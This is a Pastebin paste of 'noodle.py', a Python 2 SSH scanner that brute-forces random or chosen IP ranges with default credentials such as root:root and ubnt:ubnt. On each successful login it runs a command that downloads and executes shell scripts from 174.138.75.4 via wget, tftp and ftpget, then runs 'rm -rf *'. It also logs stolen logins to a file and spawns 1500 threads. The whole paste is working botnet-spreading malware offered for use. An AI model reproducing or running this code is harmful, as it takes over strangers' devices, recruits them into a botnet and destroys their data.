Advertisement
Guest User

noodle.py

a guest
Apr 13th, 2017
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.90 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3.  
  4.  
  5. #************************************************************************
  6. #* $$$$$$\ $$$$$$\ $$\ $$\ $$$$$$\ *
  7. #* $$$ __$$\ $$$ __$$\ $$ |$$ |$$ ___$$\ *
  8. #* $$$$$$$\ $$$$\ $$ |$$$$\ $$ | $$$$$$$ |$$ |\_/ $$ |$$$$$$$$\ *
  9. #* $$ __$$\ $$\$$\$$ |$$\$$\$$ |$$ __$$ |$$ | $$$$$ / \____$$ | *
  10. #* $$ | $$ |$$ \$$$$ |$$ \$$$$ |$$ / $$ |$$ | \___$$\ $$$$ _/ *
  11. #* $$ | $$ |$$ |\$$$ |$$ |\$$$ |$$ | $$ |$$ |$$\ $$ | $$ _/ *
  12. #* $$ | $$ |\$$$$$$ /\$$$$$$ /\$$$$$$$ |$$ |\$$$$$$ |$$$$$$$$\ *
  13. #* \__| \__| \______/ \______/ \_______|\__| \______/ \________| *
  14. #************************************************************************
  15. #Modified by n00dl3z
  16. #Skype: curry.curry.curry
  17. #Youtube: @n00dl3z
  18.  
  19.  
  20. import threading, paramiko, random, socket, time, sys
  21.  
  22. paramiko.util.log_to_file("/dev/null")
  23.  
  24. wget='cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://174.138.75.4/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 174.138.75.4 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 174.138.75.4; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 174.138.75.4 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf * '
  25.  
  26. blacklist = [
  27. '127'
  28. ]
  29.  
  30.  
  31. ascii = '\x1b[1;36m'
  32. ascii +=' ************************************************************************ \r\n'
  33. ascii +=' * $$$$$$\ $$$$$$\ $$\ $$\ $$$$$$\ * \r\n'
  34. ascii +=' * $$$ __$$\ $$$ __$$\ $$ |$$ |$$ ___$$\ * \r\n'
  35. ascii +=' * $$$$$$$\ $$$$\ $$ |$$$$\ $$ | $$$$$$$ |$$ |\_/ $$ |$$$$$$$$\ * \r\n'
  36. ascii +=' * $$ __$$\ $$\$$\$$ |$$\$$\$$ |$$ __$$ |$$ | $$$$$ / \____$$ | * \r\n'
  37. ascii +=' * $$ | $$ |$$ \$$$$ |$$ \$$$$ |$$ / $$ |$$ | \___$$\ $$$$ _/ * \r\n'
  38. ascii +=' * $$ | $$ |$$ |\$$$ |$$ |\$$$ |$$ | $$ |$$ |$$\ $$ | $$ _/ * \r\n'
  39. ascii +=' * $$ | $$ |\$$$$$$ /\$$$$$$ /\$$$$$$$ |$$ |\$$$$$$ |$$$$$$$$\ * \r\n'
  40. ascii +=' * \__| \__| \______/ \______/ \_______|\__| \______/ \________| * \r\n'
  41. ascii +=' ************************************************************************ \r\n'
  42. ascii +='\x1b[36m'
  43. print ''
  44. print ''
  45. print ''
  46. print ''
  47. print ''
  48. print ''
  49. print ''
  50. print ''
  51. print ''
  52. print ''
  53. print ascii
  54. print '\x1b[36m Welcome to Noodlez Scanner \x1b[0m'
  55. print '\x1b[36m Usage: python noodle.py 500 Type Range Pass \x1b[0m'
  56. print '\x1b[36m Type: LUCKY, LUCKY2, A or B \x1b[0m'
  57. print '\x1b[36m Pass: 1, 2, 3, 4, all \x1b[0m'
  58. print '\x1b[36m Scanner Started \x1b[0m'
  59. print ''
  60. print '\x1b[36m Sm0kE Em g00d \x1b[0m'
  61. print ''
  62. print ''
  63.  
  64. passwords = [
  65. "root:root",
  66. "root:admin",
  67. "admin:admin",
  68. "ubnt:ubnt"
  69. "root:1234",
  70. "admin:1234",
  71. "guest:guest"
  72. ]
  73. #edit if u want
  74. if sys.argv[4] == '1':
  75. passwords = ["root:root"]
  76. if sys.argv[4] == '2':
  77. passwords = ["guest:guest"]
  78. if sys.argv[4] == '3':
  79. passwords = ["admin:1234"]
  80. if sys.argv[4] == '4':
  81. passwords = ["admin:admin"]
  82.  
  83.  
  84. ipclassinfo = sys.argv[2]
  85. if ipclassinfo == "A":
  86. ip1 = sys.argv[3]
  87. elif ipclassinfo == "B":
  88. ip1 = sys.argv[3].split(".")[0]
  89. ip2 = sys.argv[3].split(".")[1]
  90. elif ipclassinfo == "C":
  91. ips = sys.argv[3].split(".")
  92. num=0
  93. for ip in ips:
  94. num=num+1
  95. if num == 1:
  96. ip1 = ip
  97. elif num == 2:
  98. ip2 = ip
  99. elif num == 3:
  100. ip3 = ip
  101. class sshscanner(threading.Thread):
  102. global passwords
  103. global ipclassinfo
  104. if ipclassinfo == "A":
  105. global ip1
  106. elif ipclassinfo == "B":
  107. global ip1
  108. global ip2
  109. elif ipclassinfo == "C":
  110. global ip1
  111. global ip2
  112. global ip3
  113. def run(self):
  114. while 1:
  115. try:
  116. while 1:
  117. thisipisbad='no'
  118. if ipclassinfo == "A":
  119. self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  120. elif ipclassinfo == "B":
  121. self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  122. elif ipclassinfo == "C":
  123. self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  124. elif ipclassinfo == "BRAZIL":
  125. br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]
  126. self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  127. elif ipclassinfo == "ER":
  128. yeet = ["122","131","161","37","186","187","31","188","201","2","200"]
  129. self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  130. elif ipclassinfo == "LUCKY":
  131. lucky = ["125.27","101.109","113.53","118.173","122.170","122.180","46.62","5.78","101.108","1.20","125.25","125.26","182.52","118.172","118.174","118.175","125.24"]
  132. self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  133. elif ipclassinfo == "LUCKY2":
  134. lucky2 = [ "122.3","122.52","122.54","119.93","124.105","124.105" ]
  135. self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  136. elif ipclassinfo == "LUCKY3":
  137. lucky2 = [ "103.20","103.30","103.47","103.57" ]
  138. self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  139. elif ipclassinfo == "RAND":
  140. self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  141. elif ipclassinfo == "INTERNET":
  142. lol = ["1"]
  143. self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  144. else:
  145. self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  146. for badip in blacklist:
  147. if badip in self.host:
  148. thisipisbad='yes'
  149. if thisipisbad=='no':
  150. break
  151. username='root'
  152. password=""
  153. port = 22
  154. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  155. s.settimeout(3)
  156. s.connect((self.host, port))
  157. s.close()
  158. ssh = paramiko.SSHClient()
  159. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  160. dobreak=False
  161. for passwd in passwords:
  162. if ":n/a" in passwd:
  163. password=""
  164. else:
  165. password=passwd.split(":")[1]
  166. if "n/a:" in passwd:
  167. username=""
  168. else:
  169. username=passwd.split(":")[0]
  170. try:
  171. ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  172. dobreak=True
  173. break
  174. except:
  175. pass
  176. if True == dobreak:
  177. break
  178. badserver=True
  179. stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  180. output = stdout.read()
  181. if "inet addr" in output:
  182. badserver=False
  183. if badserver == False:
  184. print '\x1b[36mHere you GO :> : \x1b[37m'+self.host+'|'+username+'|'+password
  185. ssh.exec_command(""+wget+"")
  186. scanned = open("sly.txt", "a").write(username + ":" + password + ":" + self.host + "\n")
  187. time.sleep(15)
  188. ssh.close()
  189. except:
  190. pass
  191.  
  192. for x in range(0,1500):
  193. try:
  194. t = sshscanner()
  195. t.start()
  196. except:
  197. pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement